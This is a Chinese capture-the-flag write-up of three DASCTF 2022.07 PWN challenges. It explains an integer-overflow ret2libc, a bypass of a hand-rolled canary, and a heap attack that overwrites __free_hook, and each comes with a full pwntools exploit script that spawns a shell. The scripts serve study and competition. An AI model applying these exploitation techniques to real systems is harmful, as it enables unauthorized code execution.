DASCTF2022.07赋能赛PWN部分WP eyfor 程序保护情况
64位ida逆向 可以看见是一个随机数的逻辑,只要我们猜不对4次就可以进入漏洞函数,但是我感觉这原本可能是==号,让用随机数的
那我们就4次不输入一个数就可以进入漏洞函数,这里注意这个a1就是我们进入漏洞函数之前要输入的值,可以看见在read的时候使用的是un int 而判断的是int,那么这里就存在一个类型转换导致的整数溢出,我们可以输入比4294967296小一点的数,这样在判断转换的时候是负数,而在输入的时候就是这个大数,所以就可以造成溢出,然后ret2libc
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from pwn import * context(log_level='debug' ,arch='amd64' ,os='linux' ) io = process('./eyfor' ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) elf = ELF('./eyfor' ) io.sendlineafter('go' ,'a' ) io.sendlineafter('message:' ,'1' ) io.sendlineafter('message:' ,'1' ) io.sendlineafter('message:' ,'1' ) io.sendlineafter('message:' ,'1' ) io.sendline('4294967220' ) io.recvline() pop_rdi = 0x0000000000400983 payload = b'a' *0x38 + p64(pop_rdi) + p64(elf.got['puts' ]) + p64(elf.plt['puts' ]) + p64(0x4007B7 ) io.send(payload) io.recvuntil('CST\n' ) puts_addr = u64(io.recv(6 ).ljust(8 ,b'\x00' )) success('puts_addr---->' +hex (puts_addr)) system = puts_addr - libc.sym['puts' ] + libc.sym['system' ] binsh = puts_addr - libc.sym['puts' ] + next (libc.search('/bin/sh' )) io.recvline() payload = b'a' *0x38 + p64(pop_rdi+1 ) + p64(pop_rdi) + p64(binsh) + p64(system) io.send(payload) io.interactive()
不过在复现的时候远程buu平台把data命令禁用了,导致程序还没有开始输入就崩溃了。。。。。
MyCanary2 程序保护情况
64位ida逆向 在初始化的时候程序使用了时间戳和随机数异或得到种子
程序虽然没有开canary保护但是模拟了一个类似canary的功能,我们可以查看canary,但是之后canary就会改变,有溢出,但是最后有检查
所以我们可以找找漏洞
在检查函数末尾发现如果rbp - 4位置为0就会跳转而不执行检查,那么我们第一步溢出然后,在更新一下这个手工canary绕过检查,然后退出即可执行后门函数
并且程序存在后门函数
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import * context(log_level= 'debug' ,arch='amd64' ,os='linux' ) io = process('./MyCanary2' ) io.sendlineafter('choice' ,'1' ) payload = b'a' *(0X70 -4 ) + p32(0 ) + p64(0 ) + p64(0X40157B ) io.recvuntil('code:' ) gdb.attach(io) io.sendline(payload) io.sendlineafter('choice' ,'2' ) io.sendlineafter('choice' ,'3' ) io.interactive()
compat 程序保护情况
64位ida逆向 菜单
add函数,这里申请的时候输入tag的时候跟0x80相与,结果作为下一次的输入,我们可以输入0xff绕过,导致溢出到保存堆块指针的位置,然后实现泄露heap地址,同理因为本题libc是2.31,申请7个堆块然后free之后进可以进入到unsortbin,修改指针泄露libc地址,不过要注意,只能申请8个堆块
free函数,把指针都清零没有free
freeall函数,遍历刚刚free的堆块然后依次free,指针清零
思路: 1.通过\xff绕过与操作,让尽可能多的字节写入,泄露堆块地址
2.修改堆块指针到unsortbin堆块处,泄露libc地址
3.伪造堆块让指针修改到fake_chunk处,修改已经free堆块的fd指针位free_hook,因为此题free的内容是控制指针优先,导致/bin/sh参数或者sh参数不好输入,所以干脆使用one_gadget
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 from pwn import * context(log_level='debug' ,arch='amd64' ,os='linux' ) io = process('./compact' ) libc = ELF('./libc-2.31.so' )def add (msg,tag ): io.sendlineafter('choice: ' ,'1' ) io.sendafter('data: ' ,msg) io.sendafter('tag: ' ,tag)def show (index ): io.sendlineafter('choice: ' ,'2' ) io.sendlineafter('idx: ' ,str (index))def free (index ): io.sendlineafter('choice: ' ,'3' ) io.sendlineafter('idx: ' ,str (index)) def freeall (): io.sendlineafter('choice: ' ,'4' ) add('a' ,b'\xffaaa' ) gdb.attach(io) show(0 ) io.recvuntil('aaa' ) heap_base = u64(io.recv(6 ).ljust(8 ,b'\x00' )) - 0x2c0 success('heap_base--->' +hex (heap_base)) for i in range (7 ): add(p64(0x91 )*14 ,'b' )for i in range (7 ): free(7 -i) free(0 ) freeall() payload = b'\xffaaa' + p64(heap_base+0x2c0 )[:2 ] add('a' ,payload) show(0 ) io.recvuntil('data: ' ) libc_base = u64(io.recv(6 ).ljust(8 ,b'\x00' )) -0x70 - libc.sym['__malloc_hook' ] success('libc_base---->' +hex (libc_base)) system = libc_base + libc.sym['system' ] free_hook = libc_base + libc.sym['__free_hook' ] one = libc_base + 0xe6af1 add('a' ,b'\xffaaa\x80' ) free(1 ) freeall() payload = b'a' *0x20 + p64(0 ) + p64(0x21 ) +p64(heap_base+0x560 ) + p64(heap_base +0x10 )+ p64(0 ) + p64(0x91 )+ p64(free_hook) add(payload,'2' ) add('/bin/sh\x00' ,'\xff' +'sh\x00\x00\x00\x00' ) add(p64(one),'\xff' +'sh\x00\x00\x00\x00' ) free(3 ) freeall() io.interactive()